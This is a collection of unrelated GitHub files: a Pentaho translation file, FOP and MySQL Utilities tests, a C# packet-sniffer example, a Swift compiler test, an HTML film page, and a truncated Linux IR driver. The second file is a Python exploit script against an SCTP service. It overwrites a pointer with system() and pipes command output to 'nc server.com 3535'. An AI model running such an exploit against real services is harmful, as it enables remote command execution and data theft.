#File generated by Hitachi Vantara Translator for package 'org.pentaho.di.trans.steps.delay' in locale 'it_IT' # # #Wed Nov 26 10:07:22 CET 2008 Delay.Name=Delay row Delay.Description=Output each input row after a delay Delay.Log.TimeOut=Attesa per {0} {1} ... Delay.Log.LineNumber=linea n. {0} DelayMeta.CheckResult.StepRecevingData2=Il passo sta ricevendo informazioni dagli altri passi. DelayMeta.CheckResult.StepRecevingData=Il passo \u00E8 connesso al precedente, ricezione di {0} campi DelayMeta.Exception.UnexpectedErrorSavingStepInfo=Errore inatteso durante il salvataggio delle informazioni del passo nel repository DelayMeta.CheckResult.NotReceivingFields=Non si sta ricevendo alcun campo dai passi precedenti\! Delay.WaitTimeIsElapsed.Label=Il tempo di attesa \u00E8 stato raggiunto. DelayMeta.CheckResult.TimeOutOk=Il timeout \u00E8 stato specificato\! DelayMeta.CheckResult.TimeOutMissing=Manca il timeout\! DelayMeta.CheckResult.NoInputReceivedFromOtherSteps=Nessun input ricevuto dagli altri passi\! DelayMeta.Exception.UnexpectedErrorReadingStepInfo=Errore inatteso durante la lettura delle informazioni del passo dal repository DelayMeta.Exception.UnableToReadStepInfo=Impossibile leggere le informazioni del passo da XML
{ "pile_set_name": "Github" }
#Evan Jensen (wont) #07072013 import sctp from time import sleep from isis import * chal=('localhost',2323) listener='server.com 3535' def send_msg(msg,chan): sk=sctp.sctpsocket_tcp(socket.AF_INET) sk.settimeout(2) sk.connect(chal) sk.sctp_send(msg,stream=chan) print sk.recv(0x10000) return sk def pad(s,l): return s+'\0'*(l-len(s)) debuga=0x401120 debug=pack("Q",debuga) def e(): print "[*]Getting System" s=send_msg(pad('system',8*3)+debug+ 'A'*(0x800-8*4-1)+'\0' ,9) time.sleep(1) addr=s.recv(0x1000) print "[*]System: %s"%addr system=pack("Q",int(addr,16)) while True: command=raw_input('$') command=command+'|nc '+listener print "Command len %d"%len(command) send_msg(pad(command,8*3)+system+'A'*(0x800-8*4-1)+'\0' ,9) e()
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <!-- $Id$ --> <testcase> <info> <p> When inline-progression-dimension has been left to auto on fo:inline-container, fall back to the IPD of the nearest ancestor reference-area. </p> </info> <fo> <fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format"> <fo:layout-master-set> <fo:simple-page-master master-name="page" page-height="220pt" page-width="320pt" margin="10pt"> <fo:region-body/> </fo:simple-page-master> </fo:layout-master-set> <fo:page-sequence master-reference="page"> <fo:flow flow-name="xsl-region-body"> <fo:block>Before: <fo:inline-container height="20pt"> <fo:block>Text inside inline-container.</fo:block> </fo:inline-container> After.</fo:block> </fo:flow> </fo:page-sequence> <fo:page-sequence master-reference="page"> <fo:flow flow-name="xsl-region-body"> <fo:block-container space-before="10pt" start-indent="100pt" width="100pt"> <fo:block start-indent="0"> Before: <fo:inline-container> <fo:block>Inside the inline-container.</fo:block> </fo:inline-container> After. </fo:block> </fo:block-container> </fo:flow> </fo:page-sequence> </fo:root> </fo> <checks> <eval expected="3" xpath="count(//pageSequence[1]//flow/block/lineArea)"/> <eval expected="300000" xpath="//pageSequence[1]//flow/block/lineArea[2]/viewport/@ipd"/> <eval expected="3" xpath="count(//pageSequence[2]//flow/block/block/block/lineArea)"/> <eval expected="100000" xpath="//pageSequence[2]//flow/block/block/block/lineArea[2]/viewport/@ipd"/> </checks> <event-checks> <event key="inlineContainerAutoIPDNotSupported" fallback="300.0"/> <event key="inlineContainerAutoIPDNotSupported" fallback="100.0"/> </event-checks> </testcase>
{ "pile_set_name": "Github" }
# # Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # import os import clone_db from mysql.utilities.exception import MUTLibError, UtilDBError class test(clone_db.test): """check errors for clone db This test ensures the known error conditions are tested. It uses the clone_db test as a parent for setup and teardown methods. """ def check_prerequisites(self): return clone_db.test.check_prerequisites(self) def setup(self): return clone_db.test.setup(self) def run(self): self.server1 = self.servers.get_server(0) self.res_fname = "result.txt" from_conn = "--source=" + self.build_connection_string(self.server1) to_conn = "--destination=" + self.build_connection_string(self.server1) cmd_str = "mysqldbcopy.py --skip-gtid %s %s " % (from_conn, to_conn) cmd_opts = "util_test:util_test" comment = "Test case 1 - error: same database" res = self.run_test_case(1, cmd_str + cmd_opts, comment) if not res: raise MUTLibError("%s: failed" % comment) cmd_opts = "NOT_THERE_AT_ALL:util_db_clone" comment = "Test case 2 - error: old database doesn't exist" res = self.run_test_case(1, cmd_str + cmd_opts, comment) if not res: raise MUTLibError("%s: failed" % comment) try: self.server1.exec_query("CREATE DATABASE util_db_clone") except UtilDBError, e: raise MUTLibError("%s: failed: %s" % (comment, e.errmsg)) cmd_opts = "util_test:util_db_clone" comment = "Test case 3 - error: target database already exists" res = self.run_test_case(1, cmd_str + cmd_opts, comment) if not res: raise MUTLibError("%s: failed" % comment) try: self.server1.exec_query("CREATE USER 'joe'@'localhost'") except UtilDBError, e: raise MUTLibError("%s: failed: %s" % (comment, e.errmsg)) if os.name == "posix" and self.server1.socket is not None: from_conn = "--source=joe@localhost:%s:%s" % \ (self.server1.port, self.server1.socket) else: from_conn = "--source=joe@localhost:%s" % self.server1.port cmd_str = "mysqldbcopy.py --skip-gtid %s %s " % (from_conn, to_conn) cmd_opts = "util_test:util_db_clone --force" comment = "Test case 4 - error: user with % - not enough permissions" res = self.run_test_case(1, cmd_str + cmd_opts, comment) if not res: raise MUTLibError("%s: failed" % comment) try: self.server1.exec_query("GRANT ALL ON util_test.* TO 'joe'@'%'") except UtilDBError, e: raise MUTLibError("%s: failed: %s" % (comment, e.errmsg)) try: self.server1.exec_query("GRANT SELECT ON mysql.* TO 'joe'@'%'") except UtilDBError, e: raise MUTLibError("%s: failed: %s" % (comment, e.errmsg)) comment = "Test case 5 - No error: user with % - has permissions" res = self.run_test_case(0, cmd_str + cmd_opts, comment) if not res: raise MUTLibError("%s: failed" % comment) try: self.server1.exec_query("CREATE USER 'will'@'127.0.0.1'") except UtilDBError, e: raise MUTLibError("%s: failed: %s" % (comment, e.errmsg)) try: self.server1.exec_query("GRANT ALL ON *.* TO 'will'@'127.0.0.1'") except UtilDBError, e: raise MUTLibError("%s: failed: %s" % (comment, e.errmsg)) cmd_str = "mysqldbcopy.py --source=rocks_rocks_rocks %s " % to_conn cmd_str += "util_test:util_db_clone --force " comment = "Test case 6 - cannot parse --source" res = self.run_test_case(2, cmd_str, comment) if not res: raise MUTLibError("%s: failed" % comment) cmd_str = "mysqldbcopy.py --destination=rocks_rocks_rocks %s " % \ from_conn cmd_str += "util_test:util_db_clone --force " comment = "Test case 7 - cannot parse --destination" res = self.run_test_case(2, cmd_str, comment) if not res: raise MUTLibError("%s: failed" % comment) cmd_str = "mysqldbcopy.py --source=rocks_rocks_rocks " cmd_str += "util_test:util_db_clone --force " comment = "Test case 8 - no destination specified" res = self.run_test_case(2, cmd_str, comment) if not res: raise MUTLibError("%s: failed" % comment) cmd_str = "mysqldbcopy.py %s %s " % (to_conn, from_conn) cmd_str += " " comment = "Test case 9 - no database specified" res = self.run_test_case(2, cmd_str, comment) if not res: raise MUTLibError("%s: failed" % comment) from_conn = "--source=" + self.build_connection_string(self.server1) to_conn = "--destination=" + self.build_connection_string(self.server1) cmd_str = "mysqldbcopy.py %s %s --all" % (to_conn, from_conn) comment = "Test case 10 - clone with --all" res = self.run_test_case(1, cmd_str, comment) if not res: raise MUTLibError("%s: failed" % comment) # Ignore GTID messages (skipping GTIDs in this test) self.remove_result("# WARNING: The server supports GTIDs") # Replace connection errors self.replace_result("mysqldbcopy.py: error: Source connection " "values invalid", "mysqldbcopy.py: error: Source connection " "values invalid\n") self.replace_result("mysqldbcopy.py: error: Destination connection " "values invalid", "mysqldbcopy.py: error: Destination connection " "values invalid\n") return True def get_result(self): return self.compare(__name__, self.results) def record(self): return self.save_result_file(__name__, self.results) def cleanup(self): try: self.server1.exec_query("DROP USER 'joe'@'localhost'") except: pass try: self.server1.exec_query("DROP USER 'joe'") except: pass try: self.server1.exec_query("DROP USER 'joe'@'%'") except: pass try: self.server1.exec_query("DROP USER 'will'@'127.0.0.1'") except: pass return clone_db.test.cleanup(self)
{ "pile_set_name": "Github" }
using System; using System.Net; using System.Threading; using AutoCSer.Extension; namespace AutoCSer.Example.RawSocketListener { class Program { static void Main(string[] args) { Console.WriteLine(@"http://www.AutoCSer.com/Index.html "); try { IPAddress[] ips = Dns.GetHostAddresses(Dns.GetHostName()); if (ips.Length == 0) Console.WriteLine("没有找到可用的本地 IP 地址"); else { int index = 0; foreach (IPAddress ip in ips) { Console.WriteLine(index.toString() + " -> " + ip.ToString()); ++index; } string indexString = Console.ReadLine(); if (!int.TryParse(indexString, out index) || (uint)index >= ips.Length) index = 0; Console.WriteLine(ips[index].ToString()); using (AutoCSer.Net.RawSocketListener.Listener socket = new AutoCSer.Net.RawSocketListener.Listener(ips[index], onPacket)) { Thread.Sleep(3000); if (socket.IsError) Console.WriteLine("套接字监听失败,可能需要管理员权限。"); else { Console.WriteLine(@"如果只能监听到本地发出的 TCP 数据包,而不是监听到本地接收的 TCP 数据包,可能需要配置防火墙策略或者彻底关闭防火墙。"); Console.WriteLine("Press quit to exit."); while (Console.ReadLine() != "quit") ; return; } } } } catch (Exception error) { Console.WriteLine(error.ToString()); } Console.ReadKey(); } /// <summary> /// 数据包处理 /// </summary> /// <param name="buffer">数据包</param> private static void onPacket(AutoCSer.Net.RawSocketListener.Buffer buffer) { using (buffer) { AutoCSer.Net.Packet.Ip ip4 = buffer.Ip; if (ip4.IsPacket) { switch (ip4.Protocol) { case AutoCSer.Net.Packet.Ip.ProtocolEnum.Icmp: AutoCSer.Net.Packet.Icmp icmp = new AutoCSer.Net.Packet.Icmp(ip4.Packet); if (icmp.IsPacket) { Console.WriteLine(ip4.Source.toHex() + " -> " + ip4.Destination.toHex() + " " + ip4.Protocol.ToString() + " " + icmp.Type.ToString() + " " + icmp.Code.ToString()); } else Console.WriteLine("Unknown"); break; case AutoCSer.Net.Packet.Ip.ProtocolEnum.Igmp: AutoCSer.Net.Packet.Igmp igmp = new AutoCSer.Net.Packet.Igmp(ip4.Packet); if (igmp.IsPacket) { Console.WriteLine(ip4.Source.toHex() + " -> " + ip4.Destination.toHex() + " " + ip4.Protocol.ToString()); } else Console.WriteLine("Unknown"); break; case AutoCSer.Net.Packet.Ip.ProtocolEnum.Tcp: AutoCSer.Net.Packet.Tcp tcp = new AutoCSer.Net.Packet.Tcp(ip4.Packet); if (tcp.IsPacket) { Console.WriteLine(ip4.Source.toHex() + ":" + ((ushort)tcp.SourcePort).toHex() + " -> " + ip4.Destination.toHex() + ":" + ((ushort)tcp.DestinationPort).toHex() + " " + ip4.Protocol.ToString()); //if (ip4.Destination == 0xb962c48b) //{ // SubArray<byte> data = tcp.Packet; // Console.WriteLine("+" + System.Text.Encoding.ASCII.GetString(data.BufferArray, data.StartIndex, data.Count) + "+"); //} //if (ip4.Source == 0xb962c48b) //{ // SubArray<byte> data = tcp.Packet; // Console.WriteLine("-" + System.Text.Encoding.ASCII.GetString(data.BufferArray, data.StartIndex, data.Count) + "-"); //} } else Console.WriteLine("Unknown"); break; case AutoCSer.Net.Packet.Ip.ProtocolEnum.Udp: AutoCSer.Net.Packet.Udp udp = new AutoCSer.Net.Packet.Udp(ip4.Packet); if (udp.IsPacket) { Console.WriteLine(ip4.Source.toHex() + ":" + ((ushort)udp.SourcePort).toHex() + " -> " + ip4.Destination.toHex() + ":" + ((ushort)udp.DestinationPort).toHex() + " " + ip4.Protocol.ToString()); } else Console.WriteLine("Unknown"); break; default: Console.WriteLine(ip4.Source.toHex() + " -> " + ip4.Destination.toHex() + " " + ip4.Protocol.ToString()); break; } } else Console.WriteLine("Unknown"); } } } }
{ "pile_set_name": "Github" }
// RUN: %target-swift-frontend -parse-as-library -emit-silgen %s | %FileCheck %s // Only derived classes with non-trivial ivars need an ivar destroyer. struct TrivialStruct {} class RootClassWithoutProperties {} class RootClassWithTrivialProperties { var x: Int = 0 var y: TrivialStruct = TrivialStruct() } class Canary {} class RootClassWithNonTrivialProperties { var x: Canary = Canary() } class DerivedClassWithTrivialProperties : RootClassWithoutProperties { var z: Int = 12 } class DerivedClassWithNonTrivialProperties : RootClassWithoutProperties { var z: Canary = Canary() } // CHECK-LABEL: sil hidden @_T014ivar_destroyer36DerivedClassWithNonTrivialPropertiesCfE // CHECK: bb0(%0 : $DerivedClassWithNonTrivialProperties): // CHECK-NEXT: debug_value %0 // CHECK-NEXT: [[Z_ADDR:%.*]] = ref_element_addr %0 // CHECK-NEXT: destroy_addr [[Z_ADDR]] // CHECK-NEXT: [[RESULT:%.*]] = tuple () // CHECK-NEXT: return [[RESULT]] // CHECK-LABEL: sil_vtable RootClassWithoutProperties { // CHECK-NEXT: #RootClassWithoutProperties.init!initializer.1 // CHECK-NEXT: #RootClassWithoutProperties.deinit!deallocator // CHECK-NEXT: } // CHECK-LABEL: sil_vtable RootClassWithTrivialProperties { // CHECK-NEXT: #RootClassWithTrivialProperties.x!getter.1 // CHECK-NEXT: #RootClassWithTrivialProperties.x!setter.1 // CHECK-NEXT: #RootClassWithTrivialProperties.x!materializeForSet.1 // CHECK-NEXT: #RootClassWithTrivialProperties.y!getter.1 // CHECK-NEXT: #RootClassWithTrivialProperties.y!setter.1 // CHECK-NEXT: #RootClassWithTrivialProperties.y!materializeForSet.1 // CHECK-NEXT: #RootClassWithTrivialProperties.init!initializer.1 // CHECK-NEXT: #RootClassWithTrivialProperties.deinit!deallocator // CHECK-NEXT: } // CHECK-LABEL: sil_vtable RootClassWithNonTrivialProperties { // CHECK-NEXT: #RootClassWithNonTrivialProperties.x!getter.1 // CHECK-NEXT: #RootClassWithNonTrivialProperties.x!setter.1 // CHECK-NEXT: #RootClassWithNonTrivialProperties.x!materializeForSet.1 // CHECK-NEXT: #RootClassWithNonTrivialProperties.init!initializer.1 // CHECK-NEXT: #RootClassWithNonTrivialProperties.deinit!deallocator // CHECK-NEXT: } // CHECK-LABEL: sil_vtable DerivedClassWithTrivialProperties { // CHECK-NEXT: #RootClassWithoutProperties.init!initializer.1 // CHECK-NEXT: #DerivedClassWithTrivialProperties.z!getter.1 // CHECK-NEXT: #DerivedClassWithTrivialProperties.z!setter.1 // CHECK-NEXT: #DerivedClassWithTrivialProperties.z!materializeForSet.1 // CHECK-NEXT: #DerivedClassWithTrivialProperties.deinit!deallocator // CHECK-NEXT: } // CHECK-LABEL: sil_vtable DerivedClassWithNonTrivialProperties { // CHECK-NEXT: #RootClassWithoutProperties.init!initializer.1 // CHECK-NEXT: #DerivedClassWithNonTrivialProperties.z!getter.1 // CHECK-NEXT: #DerivedClassWithNonTrivialProperties.z!setter.1 // CHECK-NEXT: #DerivedClassWithNonTrivialProperties.z!materializeForSet.1 // CHECK-NEXT: #DerivedClassWithNonTrivialProperties.deinit!deallocator // CHECK-NEXT: #DerivedClassWithNonTrivialProperties!ivardestroyer.1 // CHECK-NEXT: }
{ "pile_set_name": "Github" }
<html> <head> <link rel="apple-touch-icon" sizes="57x57" href="apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.png"> <link rel="manifest" href="manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="ms-icon-144x144.png"> <meta name="theme-color" content="#ffffff"> <meta charset=utf-8> <title>“To Make a Film Is to Be Alive” – The Making of Michelangelo Antonioni's “Beyond the Clouds”</title> <meta name=viewport content='width=device-width,initial-scale=1.0,maximum-scale=5,user-scalable=yes'> <link rel=styleSheet href=../../dist/niui.min.css type=text/css media=screen> <style> body.n-type { background: #345D80; color: #F9F9F9; } p img { max-width: 100%; } @font-face{ font-family:Gidolinya; src:url(Gidolinya-Regular.woff); font-weight:500; font-style:normal; } h1, h2 { font-family: Gidolinya; color: blanchedalmond; text-transform: uppercase; } main .n-lightbox { display: flex; flex-wrap: wrap; } main .n-lightbox a { max-width: 100px; } main .n-lightbox .n-aspect { --width: 688; --height: 502; } main .n-lightbox a[href] { text-decoration: none; } main .n-lightbox span:last-child { padding-top: .5em; display: inline-block; } </style> </head> <body class="n-contain n-type"> <main> <div class="n-row"> <div class="n-full-mobile-width"> <span class="n-aspect" style="--width: 1320; --height: 1950"> <img src=tomakeafilm.png alt="To Make a Film Is to Be Alive poster by Radoslav Sharapanov"> </span> </div> <div> <h1>Documenting the master</h1> <p>After a decade away, legendary filmmaker Michelangelo Antoinoni returned with <i>Beyond the Clouds</i> (1995), an adaptation of his short stories co-directed by Wim Wenders. Antonioni's wife Enrica was on set and made the documentary <i>To Make a Film Is to Be Alive</i> (<i>Fare un film per me è vivere</i>).</p> <p> <span class="n-aspect" style="--width: 1184; --height: 838"> <img src=Fare-un-film-per-me-e-vivere.jpg alt="Wim Wenders and Michelangelo Antonioni"></span></p> <p>Along with poetic voiceover of Antonioni's thoughts, the film provides a rare look at his work process and features extensive interviews with key cast members. Longtime collaborator screenwriter Tonino Guerra shares his firsthand impressions of the director's mindset. It’s an illuminating glimpse behind Antonioni’s final feature feature film, complicated by limited mobility and communication.</p> <h2>Interviewees</h2> <div class="n-lightbox n-lightbox__thumbnails"> <a href=vlcsnap-2019-03-18-20h25m19s510.jpg title="Wim Wenders"> <span class="n-aspect"> <img src=vlcsnap-2019-03-18-20h25m19s510-.jpg> </span> <span>Wim Wenders</span></a> <a href=vlcsnap-2019-03-18-20h26m47s570.jpg title="Tonino Guerra"> <span class="n-aspect"> <img src=vlcsnap-2019-03-18-20h26m47s570-.jpg> </span> <span>Tonino Guerra</span></a> <a href=vlcsnap-2019-03-18-23h10m59s563.jpg title="Inés Sastre"> <span class="n-aspect"> <img src=vlcsnap-2019-03-18-23h10m59s563-.jpg> </span> <span>Inés Sastre</span></a> <a href=vlcsnap-2019-03-18-23h16m04s262.jpg title="Fanny Ardant"> <span class="n-aspect"> <img src=vlcsnap-2019-03-18-23h16m04s262-.jpg> </span> <span>Fanny Ardant</span></a> <a href=vlcsnap-2019-03-18-23h17m16s452.jpg title="Jean Reno"> <span class="n-aspect"> <img src=vlcsnap-2019-03-18-23h17m16s452-.jpg> </span> <span>Jean Reno</span></a> </div> <br> <h2>Author</h2> <p>Directed by Enrica Antonioni. Produced by Thomas Balmès and Fabrizio Mosca, shot by Agnès Godard and edited by Roberto Missiroli.</p> <h2>How to watch</h2> <p>Buy the <i>Beyond the Clouds</i> DVD and find the documentary among its extras: <a href=https://www.amazon.co.uk/Beyond-Clouds-DVD-Irene-Jacob/dp/B002HFJF98/>Amazon UK</a>, <a href=https://www.amazon.com/Beyond-Clouds-Fanny-Ardant/dp/6305943575>Amazon US</a>.</p> <h2>Reviews</h2> <q>From interview pieces with Wenders, we get to understand a little bit more on this collaboration process, and it explains quite clearly the dynamics between the two filmmakers on the set.</q> <p><a href=//anutshellreview.blogspot.com/2008/06/michelangelo-antonioni-retrospective_4209.html>A Nutshell Review</a></p> <q>Made while Antonioni was working with Wim Wenders on <i>Beyond the Clouds</i> despite a crippling stroke, this moving documentary (by his former wife, the actress and assistant director Enrica Antonioni) is a testament to the filmmaker’s uncompromising vision.</q> <p><a href=https://www.moma.org/calendar/events/3727>MoMA</a></p> </div> </div> </main> <script src=../../dist/niui.min.js type=text/javascript async></script> </body> </html>
{ "pile_set_name": "Github" }
/* * Driver for the Conexant CX23885/7/8 PCIe bridge * * CX23888 Integrated Consumer Infrared Controller * * Copyright (C) 2009 Andy Walls <[email protected]> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include <linux/kfifo.h> #include <linux/slab.h> #include <media/v4l2-device.h> #include <media/rc-core.h> #include "cx23885.h" #include "cx23888-ir.h" static unsigned int ir_888_debug; module_param(ir_888_debug, int, 0644); MODULE_PARM_DESC(ir_888_debug, "enable debug messages [CX23888 IR controller]"); #define CX23888_IR_REG_BASE 0x170000 /* * These CX23888 register offsets have a straightforward one to one mapping * to the CX23885 register offsets of 0x200 through 0x218 */ #define CX23888_IR_CNTRL_REG 0x170000 #define CNTRL_WIN_3_3 0x00000000 #define CNTRL_WIN_4_3 0x00000001 #define CNTRL_WIN_3_4 0x00000002 #define CNTRL_WIN_4_4 0x00000003 #define CNTRL_WIN 0x00000003 #define CNTRL_EDG_NONE 0x00000000 #define CNTRL_EDG_FALL 0x00000004 #define CNTRL_EDG_RISE 0x00000008 #define CNTRL_EDG_BOTH 0x0000000C #define CNTRL_EDG 0x0000000C #define CNTRL_DMD 0x00000010 #define CNTRL_MOD 0x00000020 #define CNTRL_RFE 0x00000040 #define CNTRL_TFE 0x00000080 #define CNTRL_RXE 0x00000100 #define CNTRL_TXE 0x00000200 #define CNTRL_RIC 0x00000400 #define CNTRL_TIC 0x00000800 #define CNTRL_CPL 0x00001000 #define CNTRL_LBM 0x00002000 #define CNTRL_R 0x00004000 /* CX23888 specific control flag */ #define CNTRL_IVO 0x00008000 #define CX23888_IR_TXCLK_REG 0x170004 #define TXCLK_TCD 0x0000FFFF #define CX23888_IR_RXCLK_REG 0x170008 #define RXCLK_RCD 0x0000FFFF #define CX23888_IR_CDUTY_REG 0x17000C #define CDUTY_CDC 0x0000000F #define CX23888_IR_STATS_REG 0x170010 #define STATS_RTO 0x00000001 #define STATS_ROR 0x00000002 #define STATS_RBY 0x00000004 #define STATS_TBY 0x00000008 #define STATS_RSR 0x00000010 #define STATS_TSR 0x00000020 #define CX23888_IR_IRQEN_REG 0x170014 #define IRQEN_RTE 0x00000001 #define IRQEN_ROE 0x00000002 #define IRQEN_RSE 0x00000010 #define IRQEN_TSE 0x00000020 #define CX23888_IR_FILTR_REG 0x170018 #define FILTR_LPF 0x0000FFFF /* This register doesn't follow the pattern; it's 0x23C on a CX23885 */ #define CX23888_IR_FIFO_REG 0x170040 #define FIFO_RXTX 0x0000FFFF #define FIFO_RXTX_LVL 0x00010000 #define FIFO_RXTX_RTO 0x0001FFFF #define FIFO_RX_NDV 0x00020000 #define FIFO_RX_DEPTH 8 #define FIFO_TX_DEPTH 8 /* CX23888 unique registers */ #define CX23888_IR_SEEDP_REG 0x17001C #define CX23888_IR_TIMOL_REG 0x170020 #define CX23888_IR_WAKE0_REG 0x170024 #define CX23888_IR_WAKE1_REG 0x170028 #define CX23888_IR_WAKE2_REG 0x17002C #define CX23888_IR_MASK0_REG 0x170030 #define CX23888_IR_MASK1_REG 0x170034 #define CX23888_IR_MAKS2_REG 0x170038 #define CX23888_IR_DPIPG_REG 0x17003C #define CX23888_IR_LEARN_REG 0x170044 #define CX23888_VIDCLK_FREQ 108000000 /* 108 MHz, BT.656 */ #define CX23888_IR_REFCLK_FREQ (CX23888_VIDCLK_FREQ / 2) /* * We use this union internally for convenience, but callers to tx_write * and rx_read will be expecting records of type struct ir_raw_event. * Always ensure the size of this union is dictated by struct ir_raw_event. */ union cx23888_ir_fifo_rec { u32 hw_fifo_data; struct ir_raw_event ir_core_data; }; #define CX23888_IR_RX_KFIFO_SIZE (256 * sizeof(union cx23888_ir_fifo_rec)) #define CX23888_IR_TX_KFIFO_SIZE (256 * sizeof(union cx23888_ir_fifo_rec)) struct cx23888_ir_state { struct v4l2_subdev sd; struct cx23885_dev *dev; struct v4l2_subdev_ir_parameters rx_params; struct mutex rx_params_lock; atomic_t rxclk_divider; atomic_t rx_invert; struct kfifo rx_kfifo; spinlock_t rx_kfifo_lock; struct v4l2_subdev_ir_parameters tx_params; struct mutex tx_params_lock; atomic_t txclk_divider; }; static inline struct cx23888_ir_state *to_state(struct v4l2_subdev *sd) { return v4l2_get_subdevdata(sd); } /* * IR register block read and write functions */ static inline int cx23888_ir_write4(struct cx23885_dev *dev, u32 addr, u32 value) { cx_write(addr, value); return 0; } static inline u32 cx23888_ir_read4(struct cx23885_dev *dev, u32 addr) { return cx_read(addr); } static inline int cx23888_ir_and_or4(struct cx23885_dev *dev, u32 addr, u32 and_mask, u32 or_value) { cx_andor(addr, ~and_mask, or_value); return 0; } /* * Rx and Tx Clock Divider register computations * * Note the largest clock divider value of 0xffff corresponds to: * (0xffff + 1) * 1000 / 108/2 MHz = 1,213,629.629... ns * which fits in 21 bits, so we'll use unsigned int for time arguments. */ static inline u16 count_to_clock_divider(unsigned int d) { if (d > RXCLK_RCD + 1) d = RXCLK_RCD; else if (d < 2) d = 1; else d--; return (u16) d; } static inline u16 ns_to_clock_divider(unsigned int ns) { return count_to_clock_divider( DIV_ROUND_CLOSEST(CX23888_IR_REFCLK_FREQ / 1000000 * ns, 1000)); } static inline unsigned int clock_divider_to_ns(unsigned int divider) { /* Period of the Rx or Tx clock in ns */ return DIV_ROUND_CLOSEST((divider + 1) * 1000, CX23888_IR_REFCLK_FREQ / 1000000); } static inline u16 carrier_freq_to_clock_divider(unsigned int freq) { return count_to_clock_divider( DIV_ROUND_CLOSEST(CX23888_IR_REFCLK_FREQ, freq * 16)); } static inline unsigned int clock_divider_to_carrier_freq(unsigned int divider) { return DIV_ROUND_CLOSEST(CX23888_IR_REFCLK_FREQ, (divider + 1) * 16); } static inline u16 freq_to_clock_divider(unsigned int freq, unsigned int rollovers) { return count_to_clock_divider( DIV_ROUND_CLOSEST(CX23888_IR_REFCLK_FREQ, freq * rollovers)); } static inline unsigned int clock_divider_to_freq(unsigned int divider, unsigned int rollovers) { return DIV_ROUND_CLOSEST(CX23888_IR_REFCLK_FREQ, (divider + 1) * rollovers); } /* * Low Pass Filter register calculations * * Note the largest count value of 0xffff corresponds to: * 0xffff * 1000 / 108/2 MHz = 1,213,611.11... ns * which fits in 21 bits, so we'll use unsigned int for time arguments. */ static inline u16 count_to_lpf_count(unsigned int d) { if (d > FILTR_LPF) d = FILTR_LPF; else if (d < 4) d = 0; return (u16) d; } static inline u16 ns_to_lpf_count(unsigned int ns) { return count_to_lpf_count( DIV_ROUND_CLOSEST(CX23888_IR_REFCLK_FREQ / 1000000 * ns, 1000)); } static inline unsigned int lpf_count_to_ns(unsigned int count) { /* Duration of the Low Pass Filter rejection window in ns */ return DIV_ROUND_CLOSEST(count * 1000, CX23888_IR_REFCLK_FREQ / 1000000); } static inline unsigned int lpf_count_to_us(unsigned int count) { /* Duration of the Low Pass Filter rejection window in us */ return DIV_ROUND_CLOSEST(count, CX23888_IR_REFCLK_FREQ / 1000000); } /* * FIFO register pulse width count computations */ static u32 clock_divider_to_resolution(u16 divider) { /* * Resolution is the duration of 1 tick of the readable portion of * of the pulse width counter as read from the FIFO. The two lsb's are * not readable, hence the << 2. This function returns ns. */ return DIV_ROUND_CLOSEST((1 << 2) * ((u32) divider + 1) * 1000, CX23888_IR_REFCLK_FREQ / 1000000); } static u64 pulse_width_count_to_ns(u16 count, u16 divider) { u64 n; u32 rem; /* * The 2 lsb's of the pulse width timer count are not readable, hence * the (count << 2) | 0x3 */ n = (((u64) count << 2) | 0x3) * (divider + 1) * 1000; /* millicycles */ rem = do_div(n, CX23888_IR_REFCLK_FREQ / 1000000); /* / MHz => ns */ if (rem >= CX23888_IR_REFCLK_FREQ / 1000000 / 2) n++; return n; } static unsigned int pulse_width_count_to_us(u16 count, u16 divider) { u64 n; u32 rem; /* * The 2 lsb's of the pulse width timer count are not readable, hence * the (count << 2) | 0x3 */ n = (((u64) count << 2) | 0x3) * (divider + 1); /* cycles */ rem = do_div(n, CX23888_IR_REFCLK_FREQ / 1000000); /* / MHz => us */ if (rem >= CX23888_IR_REFCLK_FREQ / 1000000 / 2) n++; return (unsigned int) n; } /* * Pulse Clocks computations: Combined Pulse Width Count & Rx Clock Counts * * The total pulse clock count is an 18 bit pulse width timer count as the most * significant part and (up to) 16 bit clock divider count as a modulus. * When the Rx clock divider ticks down to 0, it increments the 18 bit pulse * width timer count's least significant bit. */ static u64 ns_to_pulse_clocks(u32 ns) { u64 clocks; u32 rem; clocks = 